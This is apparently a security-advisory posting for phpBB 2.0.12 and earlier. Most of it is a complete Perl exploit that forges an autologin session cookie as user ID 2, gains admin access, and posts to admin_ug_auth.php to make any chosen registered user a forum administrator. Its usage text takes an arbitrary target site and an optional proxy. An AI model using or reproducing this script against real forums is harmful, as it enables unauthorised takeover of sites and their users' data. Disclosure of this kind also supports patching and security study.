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phpBB UID Exploit (Perl Exploit 2)
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SUMMARY
" <http://www.phpbb.com/> phpBB is a high powered, fully scalable, and
highly customizable Open Source bulletin board package."
This exploit modifies the UID field in the cookies sent back to the phpBB
forum allowing access to the user_id provided rather than the one you are
currently logged on as.
DETAILS
Exploit:
#!/usr/bin/perl -w
# phpBB <=2.0.12 session autologin exploit
# This script uses the vulerability in autologinid variable
# More: http://www.phpbb.com/phpBB/viewtopic.php?f=14&t=267563
#
# Just gives an user on vulnerable forum administrator rights.
# You should register the user before using this ;-)
# by Kutas, kutas@mail15.com
#P.S. I dont know who had made an original exploit, so I cannot place no
(c) here...
# but greets goes to Paisterist who made an exploit for Firefox cookies...
if (@ARGV < 3)
{
print q(
+++++++++++++++++++++++++++++++++++++++++++++++++++
Usage: perl nenu.pl [site] [phpbb folder] [username] [proxy (optional)]
i.e. perl nenu.pl www.site.com /forum/ BigAdmin 127.0.0.1:3128
++++++++++++++++++++++++++++++++++++++++++++++++++++
);
exit;
}
use strict;
use LWP::UserAgent;
my $host = $ARGV[0];
my $path = $ARGV[1];
my $user = $ARGV[2];
my $proxy = $ARGV[3];
my $request = "http://";;
$request .= $host;
$request .= $path;
use HTTP::Cookies;
my $browser = LWP::UserAgent->new ();
my $cookie_jar = HTTP::Cookies->new( );
$browser->cookie_jar( $cookie_jar );
$cookie_jar->set_cookie( "0", "phpbb2mysql_data",
"a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A".
"%22userid%22%3Bs%3A1%3A%222%22%3B%7D", "/", $host, , , , ,);
if ( defined $proxy) {
$proxy =~ s/(http:\/\/)//eg;
$browser->proxy("http" , "http://$proxy";);
}
print "++++++++++++++++++++++++++++++++++++\n";
print "Trying to connect to $host$path"; if ($proxy) {print "using proxy
$proxy";}
my $response = $browser->get($request);
die "Error: ", $response->status_line
unless $response->is_success;
if($response->content =~ m/phpbbprivmsg/) {
print "\n Forum is vulnerable!!!\n";
} else {
print "Sorry... Not vulnerable"; exit();}
print "+++++++++++++++++++++++++++++\nTrying to get the user:$user
ID...\n";
$response->content =~ /sid=([\w\d]*)/;
my $sid = $1;
$request .= "admin\/admin_ug_auth.php?mode=user&sid=$sid";
$response = $browser->post(
$request,
[
'username' => $user,
'mode' => 'edit',
'mode' => 'user',
'submituser' => 'Look+up+User'
],
);
die "Error: ", $response->status_line
unless $response->is_success;
if ($response->content =~ /name="u" value="([\d]*)"/)
{print " Done... ID=$1\n++++++++++++++++++++++++++++++\n";}
else {print "No user $user found..."; exit(); }
my $uid = $1;
print "Trying to give user:$user admin status...\n";
$response = $browser->post(
$request,
[
'userlevel' => 'admin',
'mode' => 'user',
'adv'=>'',
'u'=> $uid,
'submit'=> 'Submit'
],
);
die "Error: ", $response->status_line
unless $response->is_success;
print " Well done!!! $user should now have an admin
status..\n++++++++++++++++++++++++++++";
EOF
ADDITIONAL INFORMATION
The information has been provided by <mailto:kutas@mail15.com> Kutas .
More exploits for the phpBB UID vulnerability can be found:
<http://www.securiteam.com/exploits/5KP0C0UF5M.html>
http://www.securiteam.com/exploits/5KP0C0UF5M.html and
<http://www.securiteam.com/exploits/5CP0D20F5Y.html>
http://www.securiteam.com/exploits/5CP0D20F5Y.html
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